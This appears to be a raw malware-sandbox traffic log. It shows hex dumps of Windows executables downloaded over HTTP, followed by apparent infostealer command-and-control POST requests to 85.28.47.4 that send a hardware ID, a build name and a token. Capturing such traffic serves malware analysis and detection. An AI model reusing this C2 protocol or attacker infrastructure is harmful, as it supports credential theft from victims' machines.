ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 02 Jul 2024 13:26:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 02 Jul 2024 13:26:08 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 02 Jul 2024 13:26:09 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 02 Jul 2024 13:26:10 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 02 Jul 2024 13:26:14 GMTContent-Type: application/octet-streamContent-Length: 1945600Last-Modified: Tue, 02 Jul 2024 13:14:43 GMTConnection: keep-aliveETag: "6683fd43-1db000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 84 ea 61 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 00 d0 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 4d 00 00 04 00 00 e7 0a 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 a0 06 00 6c 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 b5 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 b4 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 dc 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2b 00 00 b0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 61 61 6f 69 76 64 66 00 a0 1a 00 00 20 32 00 00 98 1a 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 67 61 62 6f 79 6d 7a 00 10 00 00 00 c0 4c 00 00 04 00 00 00 8a 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 4c 00 00 22 00 00 00 8e 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 02 Jul 2024 13:26:26 GMTContent-Type: application/octet-streamContent-Length: 2530304Last-Modified: Tue, 02 Jul 2024 12:07:27 GMTConnection: keep-aliveETag: "6683ed7f-269c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4a 8c 64 5a 0e ed 0a 09 0e ed 0a 09 0e ed 0a 09 61 9b a1 09 16 ed 0a 09 61 9b 94 09 03 ed 0a 09 61 9b a0 09 35 ed 0a 09 07 95 89 09 0d ed 0a 09 07 95 99 09 0c ed 0a 09 8e 94 0b 08 0d ed 0a 09 0e ed 0b 09 5a ed 0a 09 61 9b a5 09 01 ed 0a 09 61 9b 97 09 0f ed 0a 09 52 69 63 68 0e ed 0a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 f6 41 83 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ac 01 00 00 e8 21 00 00 00 00 00 e0 f2 be 00 00 10 00 00 00 c0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 bf 00 00 04 00 00 00 00 00 00 02 00 40 80 00 00 20 00 00 20 00 00 00 00 20 00 00 20 00 00 00 00 00 00 10 00 00 00 20 d0 9c 00 30 0f 00 00 50 df 9c 00 0c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 9c 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 01 00 00 10 00 00 00 a4 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 80 00 00 00 c0 01 00 00 40 00 00 00 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 30 21 00 00 40 02 00 00 04 00 00 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 50 00 00 00 70 23 00 00 20 00 00 00 ec 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 e0 78 00 00 c0 23 00 00 28 03 00 00 0c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 64 61 74 61 00 00 00 00 70 22 00 00 a0 9c 00 00 68 22 00 00 34 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJJKKJJDAAAAAKFHJJDGHost: 85.28.47.4Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 38 44 42 41 44 33 43 33 30 34 33 33 34 33 30 33 37 33 35 33 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6a 6f 6e 79 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4b 4b 4a 4a 44 41 41 41 41 41 4b 46 48 4a 4a 44 47 2d 2d 0d 0a Data Ascii: ------IJJKKJJDAAAAAKFHJJDGContent-Disposition: form-data; name="hwid"E8DBAD3C30433430373531------IJJKKJJDAAAAAKFHJJDGContent-Disposition: form-data; name="build"jony------IJJKKJJDAAAAAKFHJJDG--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBAFIIJKJEGIDGDGIIDHHost: 85.28.47.4Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 41 46 49 49 4a 4b 4a 45 47 49 44 47 44 47 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 39 61 33 63 31 31 30 31 63 36 39 66 66 35 33 37 32 37 31 31 33 37 63 39 30 38 61 66 39 35 66 37 35 65 37 32 66 63 37 65 36 62 64 66 62 62 39 32 33 65 32 65 39 62 30 65 37 38 61 36 64 30 33 64 36 64 33 34 64 34 0d 0a 2d 2d 